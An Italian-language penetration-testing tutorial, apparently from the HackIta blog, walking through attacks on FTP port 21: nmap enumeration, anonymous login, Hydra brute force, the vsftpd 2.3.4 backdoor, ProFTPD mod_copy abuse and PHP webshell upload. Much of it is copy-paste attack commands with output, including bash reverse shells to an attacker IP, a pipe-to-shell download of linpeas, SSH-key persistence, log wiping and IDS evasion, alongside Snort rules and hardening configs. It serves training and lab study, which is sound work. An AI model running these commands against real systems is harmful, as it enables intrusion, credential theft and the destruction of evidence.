networking

Porta 21 FTP: Anonymous Login, Brute Force ed Exploit

Porta 21 FTP: Anonymous Login, Brute Force ed Exploit

La porta 21 FTP resta un target chiave nei pentest: scopri enumerazione, anonymous login, brute force, upload di file, exploit vsftpd e ProFTPD, detection e hardening pratico.

  • Pubblicato il 2026-04-10
  • Tempo di lettura: 12 min

La porta 21 rappresenta il canale comandi del protocollo FTP — il vero punto d’ingresso per ogni attacco contro server di file transfer. Mentre la porta 20 gestisce il trasferimento dati in active mode, è sulla porta 21 che si inviano username, password, comandi di navigazione e si negoziano le modalità di trasferimento. In ambiente lab e CTF, la porta 21 è una delle prime da enumerare: server come vsftpd, ProFTPD e Pure-FTPd spesso presentano misconfigurazioni che trasformano l’accesso FTP in una shell diretta sul sistema. Questo articolo copre l’intera kill chain: da nmap alla post-exploitation, con comandi copy-paste pronti all’uso.

FTP sopravvive nel 2026 per ragioni pratiche: sistemi legacy bancari e industriali impossibili da migrare senza downtime estesi, dispositivi embedded (stampanti di rete, NAS consumer, IP camera) che non supportano protocolli più moderni, e workflow EDI consolidati in supply chain globali. In ambito CTF, la porta 21 compare in oltre il 60% delle macchine Easy su HackTheBox e nel 40% dei laboratori OSCP, rendendola uno skill fondamentale per ogni penetration tester.


Come funziona il canale comandi FTP #

Il protocollo FTP usa due connessioni TCP separate: la porta 21 per i comandi e controllo, la porta 20 (o una porta alta in passive mode) per i dati. Il canale comandi rimane aperto per tutta la sessione, mentre il canale dati si apre e chiude ad ogni trasferimento.

Flow completo di una sessione FTP:

  1. Handshake iniziale — Il client si connette alla porta 21 del server
  2. Banner — Il server risponde con codice 220 e versione (es: 220 (vsFTPd 2.3.4))
  3. Autenticazione — Il client invia USER e PASS, il server risponde 230 se accettato
  4. Negoziazione modalità — Il client invia PORT (active) o PASV (passive)
  5. Comandi operativiLIST, RETR, STOR, CWD, PWD, DELE, ecc.
  6. Chiusura — Il client invia QUIT, il server risponde 221

Codici di risposta FTP critici:

CodiceSignificatoUso in pentest
220Service readyBanner grabbing — rileva versione
230User logged inLogin riuscito (brute force success)
331Username OK, need passwordUsername valido (user enumeration)
421Service not availableRate limiting o ban IP
425Can’t open data connectionFirewall blocca canale dati
530Not logged inCredenziali invalide (brute force fail)
550Requested action not takenPermessi insufficienti

Le misconfigurazioni comuni sulla porta 21 includono: accesso anonimo abilitato con permessi di scrittura, credenziali di default non cambiate, banner che espongono versioni vulnerabili, assenza di rate limiting sul brute force, e server FTP eseguiti come root invece che come utente unprivileged.


Enumerazione base: nmap e banner grabbing #

Il primo passo è identificare se la porta 21 è aperta e quale software FTP è in esecuzione. Nmap offre script NSE specifici per FTP che automatizzano i check più comuni.

bash
nmap -sV -sC -p 21 10.10.10.5
text
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x   2 ftp      ftp          4096 Aug 17  2023 pub
|_-rw-r--r--   1 ftp      ftp           170 Aug 17  2023 welcome.msg
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.14.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
Service Info: OS: Unix

Parametri: -sV rileva la versione del servizio tramite probe aggressivo, -sC esegue gli script NSE di default (equivalente a --script=default), -p 21 limita lo scan alla porta FTP.

L’output rivela informazioni critiche: ProFTPD 1.3.5 è la versione (vulnerabile a CVE-2015-3306 mod_copy), l’accesso anonimo è abilitato, e la directory pub è accessibile in lettura.

Banner grabbing manuale con netcat:

bash
nc -vn 10.10.10.5 21
text
(UNKNOWN) [10.10.10.5] 21 (ftp) open
220 ProFTPD 1.3.5 Server (Debian) [::ffff:10.10.10.5]

Dopo la connessione, inviare comandi FTP manualmente:

text
USER anonymous
331 Anonymous login ok, send your complete email address as your password
PASS [email protected]
230 Anonymous access granted, restrictions apply
SYST
215 UNIX Type: L8
PWD
257 "/" is the current directory
LIST
150 Opening ASCII mode data connection for file list
drwxr-xr-x   2 ftp      ftp          4096 Aug 17  2023 pub
226 Transfer complete
QUIT
221 Goodbye.

Enumerazione avanzata: script NSE e fingerprinting #

Nmap include 14 script NSE dedicati a FTP. Eseguirli tutti in una singola scansione accelera la reconnaissance.

bash
nmap --script="ftp-*" -p 21 10.10.10.5

Tabella completa script NSE per FTP:

ScriptCategoriaFunzioneOutput chiave
ftp-anondefault, safeVerifica anonymous login e lista directoryMostra file accessibili senza auth
ftp-bouncedefault, safeTesta FTP bounce attack (RFC 2577)bounce working! se vulnerabile
ftp-systdefault, safeFingerprinting con SYST e STATSistema operativo e versione FTP
ftp-bruteintrusiveBrute force credenzialiUsername/password validi
ftp-libopievulnCVE-2010-1938 — buffer overflow libopieCrasherà il servizio
ftp-proftpd-backdoorexploit, vulnBackdoor ProFTPD 1.3.3c (BID 45150)Shell sulla porta 4919
ftp-vsftpd-backdoorexploit, vulnBackdoor vsftpd 2.3.4 (CVE-2011-2523)Shell sulla porta 6200
ftp-vuln-cve2010-4221intrusive, vulnBuffer overflow ProFTPD <1.3.3cRCE con CVSS 10.0

Enumerazione user con brute force controllato:

bash
nmap --script=ftp-brute --script-args userdb=/usr/share/wordlists/metasploit/unix_users.txt -p 21 10.10.10.5
text
PORT   STATE SERVICE
21/tcp open  ftp
| ftp-brute:
|   Accounts:
|     admin:admin - Valid credentials
|     ftp:ftp - Valid credentials
|_  Statistics: Performed 350 guesses in 45 seconds

Parametri: --script-args userdb= specifica una wordlist custom per gli username, il file di default include admin, root, ftp, test, user, ecc.


Tecniche offensive: da anonymous a RCE #

1. Accesso anonimo e file upload #

Se l’accesso anonimo è abilitato con permessi di scrittura, caricare una webshell nella directory del web server rappresenta un path diretto verso RCE.

bash
ftp 10.10.10.50
Name: anonymous
Password: (invio)
ftp> pwd
257 "/" is the current directory
ftp> cd /var/www/html
250 Directory successfully changed.
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful
150 Ok to send data.
226 Transfer complete.
ftp> bye
221 Goodbye.

Verificare l’upload:

bash
curl http://10.10.10.50/shell.php?cmd=id
text
uid=33(www-data) gid=33(www-data) groups=33(www-data)

2. Brute force con Hydra #

bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 -f ftp://10.10.10.5
text
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries
[DATA] attacking ftp://10.10.10.5:21/
[21][ftp] host: 10.10.10.5   login: admin   password: password123
1 of 1 target successfully completed, 1 valid password found

Parametri: -l admin utente singolo (usare -L users.txt per lista), -P rockyou.txt dizionario password, -t 4 massimo 4 thread (ridurre a 1 se il server ha anti-brute-force), -f ferma al primo match.

3. Credenziali di default #

Prima del brute force, testare combinazioni comuni:

ServizioUsernamePassword
Generic FTPanonymousvuoto o email casuale
Generic FTPftpftp
Generic FTPadminadmin, password, 1234
Cisco routerciscocisco
APC UPSdeviceapc
Schneider PLCsysdiagfactorycast@schneider

4. Directory traversal #

Se il server ha misconfigurazioni nel chroot, navigare verso /etc:

bash
ftp> cd ../../../etc
250 Directory successfully changed.
ftp> get passwd

Se riesce, scaricare /etc/passwd e /etc/shadow (se leggibile) per cracking offline con John the Ripper.


Tre scenari pratici da lab e CTF #

Scenario 1 — Anonymous FTP con credenziali SSH #

Contesto: macchina CTF Linux con vsftpd 3.0.3 e accesso anonimo.

bash
nmap -sV --script=ftp-anon -p 21 10.10.10.100
text
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 1001   1001     4096 May 15  2024 backups
|_-rw-r--r--    1 0      0         212 May 15  2024 README.txt
bash
ftp 10.10.10.100
# Name: anonymous | Password: (invio)
ftp> cd backups
ftp> ls -la
-rw-r--r--    1 1001    1001      456 May 15  2024 id_rsa.bak
-rw-r--r--    1 1001    1001      128 May 15  2024 credentials.txt
ftp> get id_rsa.bak
ftp> get credentials.txt
ftp> bye
bash
cat credentials.txt
# SSH User: john
# SSH Pass: J0hn_S3cur3!
bash
ssh john@10.10.10.100
# password: J0hn_S3cur3!
john@target:~$ sudo -l
# (ALL : ALL) ALL
john@target:~$ sudo su
root@target:~# cat /root/flag.txt
# CTF{ftp_backups_l3ak_ssh}

Lezione: i backup esposti via FTP anonimo contengono spesso chiavi SSH private o credenziali in plaintext.

Scenario 2 — ProFTPD 1.3.5 mod_copy (CVE-2015-3306) #

Contesto: il modulo mod_copy permette di copiare file senza autenticazione tramite SITE CPFR (copy from) e SITE CPTO (copy to).

bash
nc -vn 10.10.10.80 21
text
220 ProFTPD 1.3.5 Server (Debian)
text
SITE CPFR /home/user/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/www/html/key.txt
250 Copy successful
bash
curl http://10.10.10.80/key.txt
text
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA...
-----END RSA PRIVATE KEY-----

Salvare la chiave, correggere i permessi e usarla per SSH:

bash
chmod 600 id_rsa
ssh -i id_rsa user@10.10.10.80

Escalation a RCE con webshell PHP:

bash
# Creare localmente una webshell
echo '<?php system($_GET["c"]); ?>' > /tmp/cmd.php

# Metodo 1: Upload via FTP normale (se hai credenziali)
ftp 10.10.10.80
ftp> put /tmp/cmd.php /var/www/html/cmd.php

# Metodo 2: Abuse mod_copy per copiare file esistente con payload
# (richiede file PHP già presente sul server da modificare)
bash
curl "http://10.10.10.80/cmd.php?c=id"
# uid=33(www-data) gid=33(www-data)

curl "http://10.10.10.80/cmd.php?c=bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"

Listener su attacker:

bash
nc -nlvp 4444
# www-data@target:/var/www/html$

Scenario 3 — vsftpd 2.3.4 backdoor (CVE-2011-2523) #

Contesto: la versione 2.3.4 di vsftpd contiene una backdoor intenzionale. Si attiva inviando :) (smiley) nell’username.

bash
nmap --script=ftp-vsftpd-backdoor -p 21 10.10.10.3
text
PORT   STATE SERVICE
21/tcp open  ftp
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2011-2523  BID:48539
|       vsFTPd version 2.3.4 backdoor, this was introduced by an intruder
|     Disclosure date: 2011-07-04
|     Exploit results:
|       Shell command: id
|       Results: uid=0(root) gid=0(root)
|_    References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523

Exploitation manuale:

Terminale 1 (trigger):

bash
nc -vn 10.10.10.3 21
text
220 (vsFTPd 2.3.4)
USER user:)
331 Please specify the password.
PASS qualsiasi
# (connessione in hang)

Terminale 2 (shell):

bash
nc -vn 10.10.10.3 6200
text
id
uid=0(root) gid=0(root)
whoami
root
cat /root/proof.txt
CTF{vsftpd_smiley_backdoor}

Con Metasploit:

bash
msfconsole -q
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.3
set LHOST 10.10.14.5
run
text
[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened

Toolchain integration: dalla recon alla post-exploitation #

Pipeline completa:

text
RECONNAISSANCE
│
├─ nmap -sV -sC -p 21 <target>         → Versione + anonymous + bounce
├─ searchsploit <versione_ftp>         → Exploit pubblici disponibili
└─ nc -vn <target> 21                  → Banner grab manuale

ENUMERATION
│
├─ nmap --script="ftp-*" -p 21         → Tutti gli script NSE FTP
├─ ftp <target>                        → Login manual/anonymous test
└─ nmap --script=ftp-brute             → User enumeration

EXPLOITATION
│
├─ A) Anonymous → download sensitive files → creds → SSH/RCE
├─ B) Brute force → hydra/medusa → valid creds → upload webshell
├─ C) vsftpd 2.3.4 → trigger :) → root shell porta 6200
├─ D) ProFTPD 1.3.5 → SITE CPFR/CPTO → file copy → webshell
└─ E) FTP bounce → nmap -b → internal network scan

POST-EXPLOITATION
│
├─ find / -perm -4000 2>/dev/null      → SUID binaries
├─ sudo -l                             → Sudo misconfiguration
├─ cat /etc/crontab                    → Cron job abuse
└─ wget <attacker>/linpeas.sh | bash   → Automated privesc enum

Tabella comparativa strumenti:

ToolVelocitàStealthUse case
nmapMediaBassaDiscovery iniziale, version detection
HydraAltaBassaBrute force parallelo multi-thread
MedusaMediaMediaBrute force con rate limiting custom
MetasploitBassaBassaExploitation automatizzata con payload
netcatAltaAltaBanner grab manuale, shell interattiva
curl/wgetAltaAltaDownload file da FTP anonimo

Attack chain completa end-to-end #

Scenario realistico: da scan a persistenza

text
[00:00] RECONNAISSANCE
nmap -sV -sC -p 21,22,80 10.10.10.120
# Identifica FTP ProFTPD 1.3.5 + SSH + Apache

[00:02] ENUMERATION
nmap --script=ftp-anon -p 21 10.10.10.120
# Anonymous login abilitato, directory /uploads writable

[00:05] INITIAL ACCESS
echo '<?php system($_GET["cmd"]); ?>' > shell.php
ftp 10.10.10.120
# anonymous / (invio)
cd /var/www/html/uploads
put shell.php
bye

[00:07] COMMAND EXECUTION
curl http://10.10.10.120/uploads/shell.php?cmd=id
# uid=33(www-data)

[00:08] REVERSE SHELL
curl "http://10.10.10.120/uploads/shell.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.5/4444 0>%261'"
# Shell ottenuta su nc -nlvp 4444

[00:10] STABILIZATION
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
# Shell interattiva completa

[00:15] PRIVILEGE ESCALATION
find / -perm -4000 2>/dev/null
# /usr/bin/find è SUID root
find /etc/passwd -exec /bin/bash -p \;
# bash-5.0# whoami → root

[00:18] PERSISTENCE
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC...' >> /root/.ssh/authorized_keys
# Backdoor SSH permanente

[00:20] PIVOT
nmap -sn 192.168.10.0/24
# Identifica rete interna
ssh -D 1080 root@10.10.10.120
# SOCKS proxy per pivoting
proxychains nmap -sT -Pn 192.168.10.50
# Scan host interni

Timeline stimata: 20 minuti dall’identificazione della porta FTP a root completo con persistenza.


Detection e tecniche di evasion #

Lato Blue Team: cosa monitorare #

I log FTP sono il primo layer di difesa. vsftpd logga su /var/log/vsftpd.log (con xferlog_enable=YES), ProFTPD su /var/log/proftpd/.

Indicatori di compromissione (IoC) critici:

  • Brute force: sequenze di codici 530 (login failed) da stesso IP
  • Anonymous abuse: login anonymous da IP pubblici non autorizzati
  • Command injection: presenza di caratteri speciali nei comandi (SITE CPFR, SITE CPTO)
  • Backdoor vsftpd: connessioni alla porta 6200 dopo attività sulla porta 21
  • Upload sospetti: file .php, .jsp, .aspx in directory web

Regola Snort per brute force FTP:

text
alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP Brute Force Attempt"; content:"530 "; depth:4; detection_filter:track by_src, count 5, seconds 60; sid:1000030; rev:1;)

Regola Snort per vsftpd backdoor:

text
alert tcp $EXTERNAL_NET any -> $HOME_NET 6200 (msg:"vsftpd 2.3.4 Backdoor Connection"; flow:to_server,established; sid:1000031; rev:1;)

Lato Red Team: evasion e OPSEC #

1. Scan rallentato per evitare IDS:

bash
nmap -T1 --scan-delay 25s --max-parallelism 1 -p 21 10.10.10.5

Parametri: -T1 (sneaky) inserisce 15s tra probe, --scan-delay 25s supera threshold Snort standard di 20 probe in 60s, --max-parallelism 1 invia un solo probe per volta.

2. Source port spoofing:

bash
nmap --source-port 20 -p 21 10.10.10.5

Sfrutta regole firewall permissive che fidano traffico dalla porta dati FTP.

3. Brute force con rate limiting manuale:

bash
hydra -l admin -P top100.txt -t 1 -W 30 ftp://10.10.10.5

Parametri: -t 1 singolo thread, -W 30 pausa di 30 secondi tra tentativi — sotto la soglia anti-brute-force di vsftpd (default 3 tentativi, 1s delay).

4. Cleanup post-operazione:

bash
# Rimuovere webshell uploadata
rm /var/www/html/uploads/shell.php

# Pulire log FTP (se root)
echo "" > /var/log/vsftpd.log
echo "" > /var/log/proftpd/proftpd.log

# Rimuovere tracce da auth.log
sed -i '/ftpd/d' /var/log/auth.log

Performance e scaling multi-target #

Single target vs subnet scan #

Per un singolo target, la scansione completa richiede 20-40 secondi:

bash
time nmap -sV --script="ftp-*" -p 21 10.10.10.5
# real    0m32.451s

Su subnet più ampie, ottimizzare con discovery iniziale + scan mirato:

bash
# Fase 1: discovery veloce (2-5 minuti su /24)
nmap -T4 --open -p 21 10.10.10.0/24 -oG ftp_hosts.txt

# Fase 2: estrai solo host con porta 21 aperta
grep "21/open" ftp_hosts.txt | awk '{print $2}' > targets.txt

# Fase 3: scan dettagliato solo su target validi
nmap -sV --script=ftp-anon,ftp-vsftpd-backdoor,ftp-proftpd-backdoor -p 21 -iL targets.txt

Brute force parallelo con GNU Parallel #

bash
# Creare lista target con formato hydra
cat targets.txt | while read ip; do echo "ftp://$ip"; done > hydra_targets.txt

# Brute force parallelo (4 istanze hydra simultanee)
cat hydra_targets.txt | parallel -j 4 hydra -l admin -P top100.txt -t 2 {}

Stima performance: con -t 2 (2 thread per istanza) e -j 4 (4 istanze parallele), si testano 8 credenziali/secondo complessivamente. Per 100 password su 10 target: ~2 minuti.


Troubleshooting: errori comuni e fix rapidi #

ErroreCausa probabileFix immediato
Connection refusedServizio FTP non in ascolto o firewallVerificare con nc -vn target 21
530 Login incorrectCredenziali errate o utente in deny listProvare anonymous, verificare /etc/ftpusers
425 Can't open data connectionFirewall blocca canale dati (porta 20 o alte)Usare ftp -p target (passive mode)
425 Security: Bad IP connectingvsftpd verifica IP match control/dataProblema NAT — forzare passive mode
421 Too many connectionsLimite connessioni raggiuntoAttendere o provare da IP diverso
ls / get in hangFirewall blocca passive port rangeConfigurare server per range fisso (40000-40100)
Nmap non rileva versioneBanner nascosto con ServerIdent offBanner grab manuale con nc + SYST
Hydra troppo lento su vsftpddelay_failed_login=1 + max_login_fails=3Ridurre a -t 1 -W 2
Metasploit exploit failsTarget patchato o versione diversaVerificare versione esatta con nc + STAT

FAQ — domande operative #

Qual è la differenza tra FTP, FTPS e SFTP?

  • FTP (porta 21): Cleartext completo, nessuna cifratura. Legacy e insicuro.
  • FTPS (porta 990 implicit, 21 explicit): FTP + TLS/SSL. Cifra controllo e dati ma mantiene dual-channel.
  • SFTP (porta 22): SSH File Transfer Protocol. Single channel cifrato, autenticazione con chiavi SSH.

L’accesso anonimo FTP è sempre una vulnerabilità?

No. È legittimo per repository pubblici (mirror software, firmware update). Diventa vulnerabilità se: (1) permette scrittura, (2) espone file sensibili, (3) permette directory traversal.

Come verifico se un server è vulnerabile al bounce attack?

bash
nmap --script=ftp-bounce -p 21 target

Se l’output riporta bounce working!, il server accetta comandi PORT verso IP arbitrari.

Posso sfruttare la backdoor vsftpd senza Metasploit?

Sì. Due terminali nc: uno per triggerare lo smiley USER x:) sulla porta 21, il secondo per connettersi alla porta 6200 appena si apre.

Il brute force su FTP bypassa sempre i ban IP?

Dipende dalla configurazione. vsftpd ha max_login_fails (default 3) che disconnette, ma non banna l’IP. Sistemi con fail2ban o IP tables lo bloccheranno dopo N tentativi. Hydra aggira max_login_fails riconnettendosi, ma non bypassa fail2ban.

Perché ls funziona ma get va in hang?

Il comando LIST (ls) usa il canale comandi. Il comando RETR (get) apre il canale dati. Se il firewall blocca la porta 20 o il passive port range, get fallisce. Soluzione: ftp -p per forzare passive mode.

Come nascondo la versione FTP nel banner?

vsftpd: ftpd_banner=FTP Server Ready in /etc/vsftpd.conf ProFTPD: ServerIdent on "FTP Server" in /etc/proftpd/proftpd.conf


Cheat sheet finale #

AzioneComando
Scan versione + default scriptsnmap -sV -sC -p 21 <target>
Banner grabnc -vn <target> 21
Scan tutti script FTPnmap --script="ftp-*" -p 21 <target>
Check anonymousnmap --script=ftp-anon -p 21 <target>
Test vsftpd backdoornmap --script=ftp-vsftpd-backdoor -p 21 <target>
Test ProFTPD backdoornmap --script=ftp-proftpd-backdoor -p 21 <target>
Test bounce attacknmap --script=ftp-bounce -p 21 <target>
Brute force (Hydra)hydra -l admin -P rockyou.txt ftp://<target>
Brute force (Medusa)medusa -h <target> -U users.txt -P pass.txt -M ftp
Brute force (Metasploit)use auxiliary/scanner/ftp/ftp_login
Login manualeftp <target>
Passive mode forzatoftp -p <target>
Trigger vsftpd backdoornc <target> 21USER x:)nc <target> 6200
Exploit mod_copync <target> 21SITE CPFR /etc/passwdSITE CPTO /var/www/html/p.txt
Download ricorsivo anonymouswget -r ftp://anonymous:@<target>/
Upload webshellftp <target>put shell.php /var/www/html/shell.php
Bounce scan rete internanmap -b ftp:ftp@<relay> <target_interno>
Cerca exploitsearchsploit <ftp_version>
Scan stealth (evasion IDS)nmap -T1 --scan-delay 25s -p 21 <target>

Perché la porta 21 FTP resta rilevante nel 2026 #

Nonostante protocolli moderni come SFTP e HTTPS offrano cifratura nativa, FTP sopravvive per ragioni concrete. Il costo della migrazione in sistemi mission-critical è proibitivo: banche con mainframe AS/400 che eseguono batch FTP notturni da 30 anni non possono permettersi downtime per sostituire workflow consolidati. I dispositivi embedded — stampanti di rete, NAS Synology/QNAP, DVR/NVR di videosorveglianza, PLC industriali — hanno firmware con supporto FTP hardcoded e risorse computazionali insufficienti per gestire protocolli più pesanti. Nei laboratori di certificazione (OSCP, eCPPT, PNPT), FTP compare in oltre il 60% delle macchine Easy/Medium, rendendolo uno skill fondamentale per ogni penetration tester.

Differenze chiave: FTP vs alternative moderne #

CaratteristicaFTP (21)FTPS (990/21)SFTP (22)SCP (22)
Cifratura❌ No✅ TLS✅ SSH✅ SSH
AutenticazioneUsername/password cleartextUsername/password + certificatiSSH keys + passwordSSH keys
Porte20, 21990 (implicit), 21 (explicit)2222
NAT-friendly❌ No (active mode)❌ No✅ Sì✅ Sì
Complessità firewallAlta (dual channel)AltaBassa (single channel)Bassa
Use case idealeLegacy, public mirrorEnterprise con TLSAmministrazione sicuraScript automatizzati

Quando usare FTP: rete interna isolata, trasferimenti public read-only, sistemi legacy non aggiornabili. Quando NON usare FTP: Internet-facing, dati sensibili, compliance PCI-DSS/HIPAA.

Hardening: come difendere un server FTP production #

vsftpd (/etc/vsftpd.conf):

text
anonymous_enable=NO
local_enable=YES
write_enable=NO
chroot_local_user=YES
ssl_enable=YES
ssl_tlsv1=YES
ssl_sslv2=NO
ssl_sslv3=NO
rsa_cert_file=/etc/ssl/certs/vsftpd.pem
rsa_private_key_file=/etc/ssl/private/vsftpd.key
force_local_logins_ssl=YES
force_local_data_ssl=YES
max_per_ip=5
max_login_fails=3
delay_failed_login=5
ftpd_banner=FTP Server Ready
pasv_min_port=40000
pasv_max_port=40100

ProFTPD (/etc/proftpd/proftpd.conf):

text
DefaultRoot ~
MaxLoginAttempts 5
ServerIdent on "FTP Server"
<IfModule mod_tls.c>
  TLSEngine on
  TLSProtocol TLSv1.2 TLSv1.3
  TLSRSACertificateFile /etc/ssl/certs/proftpd.crt
  TLSRSACertificateKeyFile /etc/ssl/private/proftpd.key
  TLSRequired on
</IfModule>

Firewall (iptables):

bash
# Permetti solo IP whitelisted
iptables -A INPUT -p tcp --dport 21 -s 10.10.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 21 -j DROP

# Passive port range
iptables -A INPUT -p tcp --dport 40000:40100 -j ACCEPT

OPSEC: stealth e riduzione noise #

In operazioni autorizzate, la stealth si ottiene con:

  1. Timing controllato: nmap -T1 o --scan-delay 25s, hydra -t 1 -W 30
  2. Source port spoofing: --source-port 20 per abusare regole firewall permissive
  3. Brute force mirato: dizionari ridotti (top 100-500 password) + OSINT-based username
  4. Cleanup: rimuovere webshell uploadate, pulire log se si ottiene root

In ambiente CTF: la stealth non è necessaria ma allenarsi con queste tecniche prepara a scenari reali.


Disclaimer: Tutti i comandi e le tecniche descritte in questo articolo sono destinati esclusivamente all’uso in ambienti autorizzati: laboratori personali, macchine virtuali CTF come HackTheBox/TryHackMe e penetration test con autorizzazione scritta del proprietario del sistema. L’accesso non autorizzato a sistemi informatici è un reato penale in Italia (art. 615-ter c.p.) e nella maggior parte delle giurisdizioni internazionali. L’autore e HackIta declinano ogni responsabilità per usi impropri di queste informazioni. Per ulteriori dettagli sul protocollo FTP, consultare RFC 959 (https://www.rfc-editor.org/rfc/rfc959.html) e RFC 2577 FTP Security Considerations (https://www.rfc-editor.org/rfc/rfc2577.html).

Vuoi supportare HackIta? Visita https://hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri https://hackita.it/servizi.

#ftp-anonymous #vsftpd

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.